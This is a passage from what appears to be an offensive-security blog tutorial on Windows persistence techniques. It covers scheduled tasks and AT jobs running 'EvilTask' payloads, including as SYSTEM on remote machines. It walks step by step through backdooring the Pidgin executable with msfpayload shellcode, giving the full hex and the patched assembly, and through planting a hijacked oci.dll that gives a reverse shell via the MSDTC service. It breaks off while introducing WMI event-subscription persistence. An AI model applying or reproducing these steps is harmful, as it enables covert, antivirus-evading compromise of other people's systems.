/XML switch. /SC schedule Specifies the schedule frequency. Valid schedule types: MINUTE, HOURLY, DAILY, WEEKLY, MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. /MO modifier Refines the schedule type to allow finer control over schedule recurrence. Valid values are listed in the "Modifiers" section below. /D days Specifies the day of the week to run the task. Valid values: MON, TUE, WED, THU, FRI, SAT, SUN and for MONTHLY schedules 1 - 31 (days of the month). Wildcard "*" specifies all days. /M months Specifies month(s) of the year. Defaults to the first day of the month. Valid values: JAN, FEB, MAR, APR, MAY, JUN, JUL, AUG, SEP, OCT, NOV, DEC. Wildcard "*" specifies all months. /I idletime Specifies the amount of idle time to wait before running a scheduled ONIDLE task. Valid range: 1 - 999 minutes. /TN taskname Specifies a name which uniquely identifies this scheduled task. /TR taskrun Specifies the path and file name of the program to be run at the scheduled time. Example: C:\windows\system32\calc.exe /ST starttime Specifies the start time to run the task. The time format is HH:mm (24 hour time) for example, 14:30 for 2:30 PM. Defaults to current time if /ST is not specified. This option is required with /SC ONCE. /RI interval Specifies the repetition interval in minutes. This is not applicable for schedule types: MINUTE, HOURLY, ONSTART, ONLOGON, ONIDLE, ONEVENT. Valid range: 1 - 599940 minutes. If either /ET or /DU is specified, then it defaults to 10 minutes. /ET endtime Specifies the end time to run the task. The time format is HH:mm (24 hour time) for example, 14:50 for 2:50 PM. This is not applicable for schedule types: ONSTART, ONLOGON, ONIDLE, ONEVENT. /DU duration Specifies the duration to run the task. The time format is HH:mm. This is not applicable with /ET and for schedule types: ONSTART, ONLOGON, ONIDLE, ONEVENT. For /V1 tasks, if /RI is specified, duration defaults to 1 hour. /K Terminates the task at the endtime or duration time. This is not applicable for schedule types: ONSTART, ONLOGON, ONIDLE, ONEVENT. Either /ET or /DU must be specified. /SD startdate Specifies the first date on which the task runs. The format is mm/dd/yyyy. Defaults to the current date. This is not applicable for schedule types: ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. /ED enddate Specifies the last date when the task should run. The format is mm/dd/yyyy. This is not applicable for schedule types: ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. /EC ChannelName Specifies the event channel for OnEvent triggers. /IT Enables the task to run interactively only if the /RU user is currently logged on at the time the job runs. This task runs only if the user is logged in. /NP No password is stored. The task runs non-interactively as the given user. Only local resources are available. /Z Marks the task for deletion after its final run. /XML xmlfile Creates a task from the task XML specified in a file. Can be combined with /RU and /RP switches, or with /RP alone, when task XML already contains the principal. /V1 Creates a task visible to pre-Vista platforms. Not compatible with /XML. /F Forcefully creates the task and suppresses warnings if the specified task already exists. /RL level Sets the Run Level for the job. Valid values are LIMITED and HIGHEST. The default is LIMITED. /DELAY delaytime Specifies the wait time to delay the running of the task after the trigger is fired. The time format is mmmm:ss. This option is only valid for schedule types ONSTART, ONLOGON, ONEVENT. /? Displays this help message. Modifiers: Valid values for the /MO switch per schedule type: MINUTE: 1 - 1439 minutes. HOURLY: 1 - 23 hours. DAILY: 1 - 365 days. WEEKLY: weeks 1 - 52. ONCE: No modifiers. ONSTART: No modifiers. ONLOGON: No modifiers. ONIDLE: No modifiers. MONTHLY: 1 - 12, or FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY. ONEVENT: XPath event query string. Once you wrap your head round the syntax; creating, deleting and querying tasks is pretty straight forward. Take a look at the following example. This task will run Windows calculator every minute, forever, as the current user (Fubar). Very entertaining and annoying! C:\Windows\system32> schtasks /create /sc minute /mo 1 /tn "AnnoyingCalc" /tr C:\Windows\system32\calc.exe SUCCESS: The scheduled task "AnnoyingCalc" has successfully been created. C:\Windows\system32> schtasks /query /tn AnnoyingCalc /fo List /v Folder: \ HostName: WIN7-TESTBED TaskName: \AnnoyingCalc Next Run Time: 10/19/2014 12:36:00 AM Status: Ready Logon Mode: Interactive only Last Run Time: 10/19/2014 12:35:00 AM Last Result: 1 Author: Fubar Task To Run: C:\Windows\system32\calc.exe Start In: N/A Comment: N/A Scheduled Task State: Enabled Idle Time: Disabled Power Management: Stop On Battery Mode, No Start On Batteries Run As User: Win7-Testbed\Fubar Delete Task If Not Rescheduled: Enabled Stop Task If Runs X Hours and X Mins: 72:00:00 Schedule: Scheduling data is not available in this format. Schedule Type: One Time Only, Minute Start Time: 12:35:00 AM Start Date: 10/19/2014 End Date: N/A Days: N/A Months: N/A Repeat: Every: 0 Hour(s), 1 Minute(s) Repeat: Until: Time: None Repeat: Until: Duration: Disabled Repeat: Stop If Still Running: Disabled Popping Lots Of Calc To delete a task you only need to specify the taskname. C:\Windows\system32> schtasks /Delete /tn AnnoyingCalc WARNING: Are you sure you want to remove the task "AnnoyingCalc" (Y/N)? Y SUCCESS: The scheduled task "AnnoyingCalc" was successfully deleted. Clearly there is potential to abuse schtasks as an attacker. You can see several examples below to get an idea of the possibilities. # Runs a task daily at 8am. schtasks /create /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc daily /st 08:00 # Runs a task each time the user's session is idle for 5 minutes. schtasks /create /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc onidle /i 5 # Runs a task, as SYSTEM, each time a user logs in. schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc onlogon # Runs a task on a remote machine, as SYSTEM, daily at 8am. schtasks /create /s RemoteMachine /u domain\user /p password /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc daily /st 08:00 If you need a more fine grained approach you can trigger tasks on highly specific Windows events. Doing so is a bit more labour intensive but it gives you unparalleled control over you task execution. The only caveat is that the target needs to have event logging enable for the event you want to target. You can piggyback the existing event loggers, but there does not seem to be a straight forward way to add custom events from the command line (it may be possible to import a custom event manifest but I have not tested this). If you have GUI access, custom events can be configured using gpedit.msc. A more detailed explanation can be found here. To demonstrate this we will schedule a task to run every time a user logs off the system (during a lunch-break for example). We can use wevtutil to query the various system event logs and publishers. C:\Windows\system32> wevtutil /? Windows Events Command Line Utility. Enables you to retrieve information about event logs and publishers, install and uninstall event manifests, run queries, and export, archive, and clear logs. Usage: You can use either the short (for example, ep /uni) or long (for example, enum-publishers /unicode) version of the command and option names. Commands, options and option values are not case-sensitive. Variables are noted in all upper-case. wevtutil COMMAND [ARGUMENT [ARGUMENT] ...] [/OPTION:VALUE [/OPTION:VALUE] ...] Commands: el | enum-logs List log names. gl | get-log Get log configuration information. sl | set-log Modify configuration of a log. ep | enum-publishers List event publishers. gp | get-publisher Get publisher configuration information. im | install-manifest Install event publishers and logs from manifest. um | uninstall-manifest Uninstall event publishers and logs from manifest. qe | query-events Query events from a log or log file. gli | get-log-info Get log status information. epl | export-log Export a log. al | archive-log Archive an exported log. cl | clear-log Clear a log. We can check the last recorded "User initiated Logoff" event by referencing the event channel (Security) and the event ID (4647). Please refer to the event-o-pedia for channel and event details. C:\Windows\system32> wevtutil qe Security /f:text /c:1 /q:"Event[system[(EventID=4647)]] Event[0]: Log Name: Security Source: Microsoft-Windows-Security-Auditing Date: 2014-09-13T21:05:54.339 Event ID: 4647 Task: Logoff Level: Information Opcode: Info Keyword: Audit Success User: N/A User Name: N/A Computer: Win7-Testbed Description: User initiated logoff: Subject: Security ID: S-1-5-21-2436999474-2994553960-2820488997-1001 Account Name: Fubar Account Domain: Win7-Testbed Logon ID: 0x14afc With this information in hand we can create a scheduled task. We will need to provide schtasks with the appropriate event channel and the XPath query string for the target event. C:\Windows\system32> schtasks /Create /TN OnLogOff /TR C:\Windows\system32\calc.exe /SC ONEVENT /EC Security /MO "*[system[(Level=4 or Level=0) and (EventID=4634)]]" SUCCESS: The scheduled task "OnLogOff" has successfully been created. C:\Windows\system32> schtasks /Query /tn OnLogOff /fo List /v Folder: \ HostName: WIN7-TESTBED TaskName: \OnLogOff Next Run Time: N/A Status: Ready Logon Mode: Interactive only Last Run Time: N/A Last Result: 1 Author: Fubar Task To Run: C:\Windows\system32\calc.exe Start In: N/A Comment: N/A Scheduled Task State: Enabled Idle Time: Disabled Power Management: Stop On Battery Mode, No Start On Batteries Run As User: Win7-Testbed\Fubar Delete Task If Not Rescheduled: Enabled Stop Task If Runs X Hours and X Mins: 72:00:00 Schedule: Scheduling data is not available in this format. Schedule Type: When an event occurs Start Time: N/A Start Date: N/A End Date: N/A Days: N/A Months: N/A Repeat: Every: N/A Repeat: Until: Time: N/A Repeat: Until: Duration: N/A Repeat: Stop If Still Running: N/A After logging off and logging back on we are greeted with windows calculator. Log-Off Calc! Event Viewer AT: The Windows AT command is sort of a second rate citizen compared to schtasks. It can also schedule tasks to run at specific times but does not have nearly as many configuration options. C:\Windows\system32> at /? The AT command schedules commands and programs to run on a computer at a specified time and date. The Schedule service must be running to use the AT command. AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]] AT [\\computername] time [/iNTERACTIVE] [ /EVERY:date[,...] | /NEXT:date[,...]] "command" \\computername Specifies a remote computer. Commands are scheduled on the local computer if this parameter is omitted. id Is an identification number assigned to a scheduled command. /delete Cancels a scheduled command. If id is omitted, all the scheduled commands on the computer are canceled. /yes Used with cancel all jobs command when no further confirmation is desired. time Specifies the time when command is to run. /interactive Allows the job to interact with the desktop of the user who is logged on at the time the job runs. /every:date[,...] Runs the command on each specified day(s) of the week or month. If date is omitted, the current day of the month is assumed. /next:date[,...] Runs the specified command on the next occurrence of the day (for example, next Thursday). If date is omitted, the current day of the month is assumed. "command" Is the Windows NT command, or batch program to be run. One thing to keep in mind is that the AT command always runs with SYSTEM level privileges. Several usage examples can be seen below. # Runs a batch file daily at 8am. at 08:00 /EVERY:m,t,w,th,f,s,su C:\Some\Evil\batch.bat # Runs a binary every Tuesday at 8am. at 08:00 /EVERY:t C:\Some\Evil\Task.exe # Runs a binary, only once, at 10pm. at 22:00 /NEXT: C:\Some\Evil\Task.exe # Runs a task on a remote machine, every 1st and 20th of the month, at 8am. at \\RemoteMachine 08:00 /EVERY:1,20 C:\Some\Evil\Task.exe Scheduled tasks can be listed by simple calling the AT command from the command line. Tasks can be deleted using the task ID. C:\Windows\system32> at 08:00 /EVERY:t C:\Some\Evil\Task.exe Added a new job with job ID = 1 C:\Windows\system32> at Status ID Day Time Command Line ------------------------------------------------------------------------------- 1 Each T 8:00 AM C:\Some\Evil\Task.exe # AT does not provide confirmation for task deletion. C:\Windows\system32> at 1 /delete [h=2]Process Resource Hooking[/h] The title for this section is used ad hoc. What we will really be looking at here are: (1) legitimate processes which are already run at boot/startup or (2) legitimate processes we can configure to run at boot/startup. After finding a suitable target we need to look at all the resources that program uses. If we can inject shellcode in one of those resources we will have achieved persistence. Already it should be clear that this technique is much more covert. Evidence of the persistence is not readily available, it is obscured by the legitimate process or service. In addition, AV detection will be non-existent as the shellcode is mixed in with legitimate code. One final thing to keep in mind is that modifying a signed resource will invalidate the signature. Case Study - Pidgin Instant Messenger: For our first example we will look at manually backdooring a PE executable. Let's say, after compromising a target, we discover that Pidgin (which is a popular chat program) is run at startup. In this case we can tell that Pidgin will automatically start on boot because it is in the windows startup folder. # The starup folder for the current user is empty. C:\> dir "C:\Users\Fubar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" Volume in drive C has no label. Volume Serial Number is CA24-B8EA Directory of C:\Users\Fubar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 09/13/2014 08:05 PM <DIR> . 09/13/2014 08:05 PM <DIR> .. 0 File(s) 0 bytes 2 Dir(s) 55,254,183,936 bytes free # The starup folder for all users contains a shortcut to Pidgin. C:\> dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" Volume in drive C has no label. Volume Serial Number is CA24-B8EA Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 11/23/2014 01:09 AM <DIR> . 11/23/2014 01:09 AM <DIR> .. 11/23/2014 01:09 AM 1,328 pidgin.exe.lnk 1 File(s) 1,328 bytes 2 Dir(s) 55,254,183,936 bytes free Next we need to find out where the Pidgin binary is. C:\> dir /s pidgin.exe Volume in drive C has no label. Volume Serial Number is CA24-B8EA Directory of C:\Program Files\Pidgin 11/22/2014 11:00 PM 60,176 pidgin.exe 1 File(s) 60,176 bytes Total Files Listed: 1 File(s) 60,176 bytes 0 Dir(s) 55,249,006,592 bytes free C:\> dir "C:\Program Files\Pidgin\" Volume in drive C has no label. Volume Serial Number is CA24-B8EA Directory of C:\Program Files\Pidgin 11/23/2014 02:28 AM <DIR> . 11/23/2014 02:28 AM <DIR> .. 11/22/2014 08:17 PM <DIR> ca-certs 10/19/2014 09:40 PM 671,031 exchndl.dll 10/19/2014 09:40 PM 301,056 freebl3.dll 11/22/2014 08:17 PM <DIR> Gtk 10/19/2014 09:40 PM 417,758 libjabber.dll 10/19/2014 09:40 PM 152,852 libmeanwhile-1.dll 10/19/2014 09:40 PM 202,752 libnspr4.dll 10/19/2014 09:40 PM 311,021 liboscar.dll 10/19/2014 09:40 PM 15,872 libplc4.dll 10/19/2014 09:40 PM 14,336 libplds4.dll 10/19/2014 09:40 PM 845,433 libpurple.dll 10/19/2014 09:39 PM 190,464 libsasl.dll 10/19/2014 09:40 PM 2,097,721 libsilc-1-1-2.dll 10/19/2014 09:40 PM 818,985 libsilcclient-1-1-3.dll 10/19/2014 09:40 PM 36,878 libssp-0.dll 10/19/2014 09:39 PM 1,274,655 libxml2-2.dll 10/19/2014 09:40 PM 236,666 libymsg.dll 10/19/2014 09:40 PM 784,384 nss3.dll 10/19/2014 09:40 PM 113,152 nssutil3.dll 11/22/2014 08:17 PM <DIR> pidgin-2.10.10-dbgsym 11/22/2014 08:17 PM 104,965 pidgin-uninst.exe 10/19/2014 09:40 PM 1,157,795 pidgin.dll 11/22/2014 11:00 PM 60,176 pidgin.exe # Bingo! 11/22/2014 08:17 PM <DIR> pixmaps 11/22/2014 08:17 PM <DIR> plugins 11/22/2014 08:17 PM <DIR> sasl2 10/19/2014 09:40 PM 101,376 smime3.dll 10/19/2014 09:40 PM 174,080 softokn3.dll 11/22/2014 08:17 PM <DIR> sounds 11/22/2014 08:17 PM <DIR> spellcheck 10/19/2014 09:40 PM 486,400 sqlite3.dll 10/19/2014 09:40 PM 230,912 ssl3.dll 24 File(s) 10,800,720 bytes 10 Dir(s) 55,248,990,208 bytes free We could replace this binary with a backdoor, that way each time the system boots our malicious code would be run. However, doing so would be painfully obvious, Pidgin would not start and a closer investigation would immediately reveal our deception. Instead, we will (1) download the executable to our attacking machine, (2) inject our malicious code into the binary, (3) make sure it still works as intended and (4) replace it on the target machine. The resulting executable will be fully undetectable by AV and will not raise any undue suspicions as pidgin will still function normally. The necessary modification can be made using Immunity debugger (or Olly). First we will need to take note of pidgin's module entry point. The instructions there are the first thing the program will execute when it is launched. Next we need to find some empty space, large enough to store our shellcode. If you have ever taken a close look at PE executables you will know that there is a huge null-bytes padding at the end of each section (.text, .data, .rdata,..). In this case we can simply scroll down to the end of the ".text" section, the padding there will be a perfect location for our shellcode. The basic principle is pretty straight forward: (1) we need to modify the entry point to jump to the null-byte padding, (2) at the jump destination we inject our shellcode, (3) we fix any instructions we nuked at the entry point and hand the program control back over to the legitimate code. First lets modify the entry point to jump to our null-byte padding. If you compare the new entry point with the old one you will notice that several instructions have been messed up. We will see how to correct those later. Next we need to generate some shellcode which we can copy into the executable as our payload. As an aside, encoding the shellcode is not necessary, in fact doing so may cause issues when the decoder stub tries to unpack it. # grep & tr to strip out all unnecessary data. root@Josjikawa:~# msfpayload windows/exec cmd='calc' exitfunc='none' C |grep '"' |tr -d '"\\x;\n' fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b42 3c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b 582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d6a018d85b90000005068318b6f87ff d5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300 This shellcode will require some minor modifications to run correctly. When the shellcode gets executed the epilogue will end up calling "ntdll.KiFastSystemCallRet" which will in turn terminate execution flow. Since we want to preserve the original program flow we will need to stop this from happening. The resulting shellcode in the debugger can be seen below. 0040391C 60 PUSHAD Save registry and flag values! 0040391D 9C PUSHFD 0040391E FC CLD 0040391F E8 89000000 CALL pidgin.004039AD 00403924 60 PUSHAD 00403925 89E5 MOV EBP,ESP 00403927 31D2 XOR EDX,EDX 00403929 64:8B52 30 MOV EDX,DWORD PTR FS:[EDX+30] 0040392D 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C] 00403930 8B52 14 MOV EDX,DWORD PTR DS:[EDX+14] 00403933 8B72 28 MOV ESI,DWORD PTR DS:[EDX+28] 00403936 0FB74A 26 MOVZX ECX,WORD PTR DS:[EDX+26] 0040393A 31FF XOR EDI,EDI 0040393C 31C0 XOR EAX,EAX 0040393E AC LODS BYTE PTR DS:[ESI] 0040393F 3C 61 CMP AL,61 00403941 7C 02 JL SHORT pidgin.00403945 00403943 2C 20 SUB AL,20 00403945 C1CF 0D ROR EDI,0D 00403948 01C7 ADD EDI,EAX 0040394A ^E2 F0 LOOPD SHORT pidgin.0040393C 0040394C 52 PUSH EDX 0040394D 57 PUSH EDI 0040394E 8B52 10 MOV EDX,DWORD PTR DS:[EDX+10] 00403951 8B42 3C MOV EAX,DWORD PTR DS:[EDX+3C] 00403954 01D0 ADD EAX,EDX 00403956 8B40 78 MOV EAX,DWORD PTR DS:[EAX+78] 00403959 85C0 TEST EAX,EAX 0040395B 74 4A JE SHORT pidgin.004039A7 0040395D 01D0 ADD EAX,EDX 0040395F 50 PUSH EAX 00403960 8B48 18 MOV ECX,DWORD PTR DS:[EAX+18] 00403963 8B58 20 MOV EBX,DWORD PTR DS:[EAX+20] 00403966 01D3 ADD EBX,EDX 00403968 E3 3C JECXZ SHORT pidgin.004039A6 0040396A 49 DEC ECX 0040396B 8B348B MOV ESI,DWORD PTR DS:[EBX+ECX*4] 0040396E 01D6 ADD ESI,EDX 00403970 31FF XOR EDI,EDI 00403972 31C0 XOR EAX,EAX 00403974 AC LODS BYTE PTR DS:[ESI] 00403975 C1CF 0D ROR EDI,0D 00403978 01C7 ADD EDI,EAX 0040397A 38E0 CMP AL,AH 0040397C ^75 F4 JNZ SHORT pidgin.00403972 0040397E 037D F8 ADD EDI,DWORD PTR SS:[EBP-8] 00403981 3B7D 24 CMP EDI,DWORD PTR SS:[EBP+24] 00403984 ^75 E2 JNZ SHORT pidgin.00403968 00403986 58 POP EAX 00403987 8B58 24 MOV EBX,DWORD PTR DS:[EAX+24] 0040398A 01D3 ADD EBX,EDX 0040398C 66:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2] 00403990 8B58 1C MOV EBX,DWORD PTR DS:[EAX+1C] 00403993 01D3 ADD EBX,EDX 00403995 8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4] 00403998 01D0 ADD EAX,EDX 0040399A 894424 24 MOV DWORD PTR SS:[ESP+24],EAX 0040399E 5B POP EBX 0040399F 5B POP EBX 004039A0 61 POPAD 004039A1 59 POP ECX 004039A2 5A POP EDX 004039A3 51 PUSH ECX 004039A4 FFE0 JMP EAX 004039A6 58 POP EAX 004039A7 5F POP EDI 004039A8 5A POP EDX 004039A9 8B12 MOV EDX,DWORD PTR DS:[EDX] 004039AB ^EB 86 JMP SHORT pidgin.00403933 004039AD 5D POP EBP 004039AE 6A 01 PUSH 1 004039B0 8D85 B9000000 LEA EAX,DWORD PTR SS:[EBP+B9] 004039B6 50 PUSH EAX 004039B7 68 318B6F87 PUSH 876F8B31 004039BC FFD5 CALL EBP 004039BE EB 22 JMP SHORT pidgin.004039E2 ---| Hook the shellcode epilog before it ends up 004039C0 90 NOP | calling ntdll.KiFastSystemCallRet 004039C1 90 NOP | 004039C2 90 NOP | 004039C3 68 A695BD9D PUSH 9DBD95A6 | 004039C8 FFD5 CALL EBP | 004039CA 3C 06 CMP AL,6 | 004039CC 7C 0A JL SHORT pidgin.004039D8 | 004039CE 80FB E0 CMP BL,0E0 | 004039D1 75 05 JNZ SHORT pidgin.004039D8 | 004039D3 BB 4713726F MOV EBX,6F721347 | 004039D8 6A 00 PUSH 0 | 004039DA 53 PUSH EBX | 004039DB FFD5 CALL EBP | 004039DD 6361 6C ARPL WORD PTR DS:[ECX+6C],SP | 004039E0 6300 ARPL WORD PTR DS:[EAX],AX | 004039E2 9D POPFD <-----| Restore registry and flag values! ESP has 004039E3 61 POPAD not changed, else we would first need to add a static value to align the stack. Before we return execution flow to the module entry point we need to fix the instruction we nuked. Let's compare the module entry point before and after our modification. Original Module Entry Point: 004012A0 > $ 83EC 1C SUB ESP,1C # Nuked! 004012A3 . C70424 0200000>MOV DWORD PTR SS:[ESP],2 # Nuked! 004012AA . FF15 9C924000 CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>; msvcrt.__set_app_type # Fine! 004012B0 . E8 4BFDFFFF CALL pidgin.00401000 Modified Module Entry Point: 004012A0 > E9 77260000 JMP pidgin1.0040391C # JMP to our shellcode. 004012A5 90 NOP 004012A6 90 NOP 004012A7 90 NOP 004012A8 90 NOP 004012A9 90 NOP 004012AA . FF15 9C924000 CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>; msvcrt.__set_app_type 004012B0 . E8 4BFDFFFF CALL pidgin1.00401000 All that remains is to append the nuked assembly to the end of our shellcode and jump back to the first untouched instruction at the module entry point. 004039E2 > 9D POPFD 004039E3 . 61 POPAD 004039E4 . 83EC 1C SUB ESP,1C # Instruction restored! 004039E7 . C70424 0200000>MOV DWORD PTR SS:[ESP],2 # Instruction restored! 004039EE .^E9 B7D8FFFF JMP pidgin.004012AA # JMP back to module entry point. We can now upload the file back to the target and overwrite the original executable. Any time Pidgin is launched, calc will also launch. Meanwhile, Pidgin will function normally, none of the original code has been modified! Pidgin Calc! Obviously this technique can be used to inject any kind of desirable shellcode. Case Study - MSDTC: Anyone who has ever inspected processes with Microsoft Sysinternals Procmon will have noticed that a lot of programs attempt to load resources that do not exist. Mainly there are two reasons for this: (1) the resource is optional and really doesn't exist or (2) the program does not have the absolute path for the resource and needs to traverse the search order. For this case study we will be looking at the "Distributed Transaction Coordinator" (MSDTC) Windows service. The MSDTC service is present on all Windows systems and is turned off 99% of the time. This is good from an attacker's perspective because we don't want to inadvertently break something which might draw attention to our presence. MSDTC is mostly required for database servers when they need to initiate transactions between multiple autonomous agents in a distributed system. As we can see from the screenshot below, simply starting MSDTC yields 303 "NAME NOT FOUND" entries (nonsensical, I know, but true). What we are specifically interested in here is "oci.dll". This dll is an example of a resource which is optional, it would only exist if the Windows machine was used to host an Oracle database. The MSDTC service checks if the dll exists, if it does it will load the dll otherwise it will simply continue with it's start-up routine. Again, the persistence vector is pretty straight forward. We will want to (1) create a dll that contains our malicious shellcode, (2) rename it to "oci.dll", (3) drop it in one of dll search paths obtained from Procmon and (4) configure the MSDTC service to start at boot. As in our first case study, we could generate a dll with metasploit but for stealth purposes it is much better to inject shellcode into a legitimate dll. Though the process of injecting code in a dll is marginally different a similar technique to the previous case study can be used. For brevity I will not cover the injection process here. This is a challenge I leave for the diligent reader to investigate. Since I did not have a legitimate version of "oci.dll" I chose a Microsoft dll as a base to inject my shellcode. Below we can see that the details tab of the properties window still shows the original file details. This dll, when executed, will open a reverse shell to the localhost on port 4444. We can test this by setting up a listener and manually staring the service. MSDTC SYSTEM shell After the dll has been dropped on the target machine (in C:\Windows\System32\) persistence cab be achieved by using sc to configure MSDTC to start on boot. C:\Windows\system32> sc qc msdtc [sC] QueryServiceConfig SUCCESS SERVICE_NAME: msdtc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START # Needs to be started manually. ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\System32\msdtc.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Distributed Transaction Coordinator DEPENDENCIES : RPCSS : SamSS SERVICE_START_NAME : LocalSystem C:\Windows\system32> sc config msdtc start= auto [sC] ChangeServiceConfig SUCCESS C:\Windows\system32> sc qc msdtc [sC] QueryServiceConfig SUCCESS SERVICE_NAME: msdtc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START # Starts on boot. ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\System32\msdtc.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Distributed Transaction Coordinator DEPENDENCIES : RPCSS : SamSS SERVICE_START_NAME : LocalSystem [h=2]WMI Permanent Event Subscription // Managed Object Formats (MOF)[/h] This is, by far, my favourite method for persistence. If set up with care, it is very difficult to detect and even worse to remove. MOF's, in essence, are compiled scripts that describe Common Information Model (CIM) classes which are compiled into the WMI repository. I'm sure that sounds terribly convoluted, I have added a substantial list of links below to help clear things up (or confuse them further). As a method for persistence we will be creating a MOF which (1) listens for en event (or events) and (2) will take some action (or actions) when the event is triggered. Links: Get-WmiObject [Microsoft Technet] - here Remove-WmiObject [Microsoft Technet] - here WQL (SQL for WMI) [MSDN] - here Win32 Provider Classes [MSDN] - here Querying with WQL [MSDN] - here mofcomp [MSDN] - here About WMI [MSDN] - here WMI Tasks for Scripts and Applications [MSDN] - here Permanent WMI Event [Microsoft Technet] - here Creating WMI Permanent Event Subscriptions Using MOF [CondeProject] - here Distributed Management Task Force [DMTF] - here Premise: A MOF file must consist of (at least) the following three components: an __EventFilter which uses the WMI Query Language (WQL) to detect a specific event, an Event Consumer Class which defines a certain action and a __FilterToConsumerBinding which binds an event and an action together. Let's have a closer look at the various section of the MOF file. __EventFilter: The event filter class is used to hook/detect specific operating system events defined by a WQL statement. The basic structure of an event filter can be seen below. instance of __EventFilter as $EventFilter { Name = "Event Filter Name"; # Unique event name. EventNamespace = "Root\\Cimv2"; # Namespace for event instance. Query = "WQL-Query"; # WQL event query. QueryLanguage = "WQL"; # Only WQL is currently supported. }; Using WQL almost any hardware or operating system event can be set as and event trigger. I highly recommend that you take some time to review the Win32 Provider Classes to get an understanding of the scope of these events. As always, the best way to learn is to try to formulate some queries on your local host. In powershell the Get-WmiObject cmdlet can be used, in conjunction with the provided link, to get instances of WMI classes. The following example uses the Win32_CDROMDrive class to retrieve data about the installed CD-Rom drives. # Cursory information can be retrieved by only specifying the class name. PS C:\Windows\system32> Get-WmiObject -class Win32_CDROMDrive Caption Drive Manufacturer VolumeName ------- ----- ------------ ---------- DTSOFT Virtual CdRom Device F: (Standard CD-ROM drives) HL-DT-ST DVDRAM GT80N E: (Standard CD-ROM drives) # Using the ConfigManagerErrorCode property we can check if the drive is functioning normally. PS C:\Windows\system32> Get-WmiObject -query "select ConfigManagerErrorCode from Win32_CDROMDrive" __GENUS : 2 __CLASS : Win32_CDROMDrive __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ConfigManagerErrorCode : 0 # Status 0x0 = Device is working properly. PSComputerName : __GENUS : 2 __CLASS : Win32_CDROMDrive __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ConfigManagerErrorCode : 0 # Status 0x0 = Device is working properly. PSComputerName : # Using the Capabilities property we can check capabilities of the device. PS C:\Windows\system32> Get-WmiObject -query "select Capabilities from Win32_CDROMDrive" __GENUS : 2 __CLASS : Win32_CDROMDrive __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : Capabilities : {3, 7} # 0x3 = Random Access, 0x7 = Supports Removable Media. PSComputerName : __GENUS : 2 __CLASS : Win32_CDROMDrive __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : Capabilities : {3, 4, 7} # 0x3 = Random Access, 0x4 = Supports PSComputerName : Writing, 0x7 = Supports Removable Media. # Using the MediaLoaded property we can check if the drive currently has a CD-Rom. PS C:\Windows\system32> Get-WmiObject -query "select MediaLoaded from Win32_CDROMDrive" __GENUS : 2 __CLASS : Win32_CDROMDrive __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : MediaLoaded : False # False = No CD-Rom in drive. PSComputerName : __GENUS : 2 __CLASS : Win32_CDROMDrive __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : MediaLoaded : True # True = CD-Rom in drive. PSComputerName : As an example could create a WQL event trigger which would wait for a CD-Rom to be inserted into a drive on the system. When the WQL query determins a CD-Rom drive has been inserted it will then trigger an action. The sample WQL query can been seen below. # Notice that we are checking for an instance modification where the value for "MediaLoaded" changes from "False" to "True". Query = "SELECT * FROM __InstanceModificationEvent Within 5" "Where TargetInstance Isa \"Win32_CDROMDrive\" " "And Targetinstance.MediaLoaded = \"True\" "; Lets have a look at a second example. In this case we will be querying Win32_NTLogEvent to retrieve instances from the Windows event log. Simply executing the following query will return a raw list of events. PS C:\Windows\system32> Get-WmiObject -class Win32_NTLogEvent The wash of information scrolling over the terminal won't be very useful, however using the EventCode parameter we can drill down into the event log and target whichever specific events we would like to listen for. In this case we would like to retrieve events for user accounts which successfully log on to the system. The relevant Event ID, in this case, is 4624. PS C:\Windows\system32> Get-WmiObject -query "select * from Win32_NTLogEvent where EventCode = '4624'" This query will still not be specific enough. The issues is that there are multiple types of logon events, we would only be interested in the Interactive Logon type (0x2). Consider the following logon events. Category : 12544 CategoryString : Logon EventCode : 4624 # EventID 4624 - An account was successfully logged on. 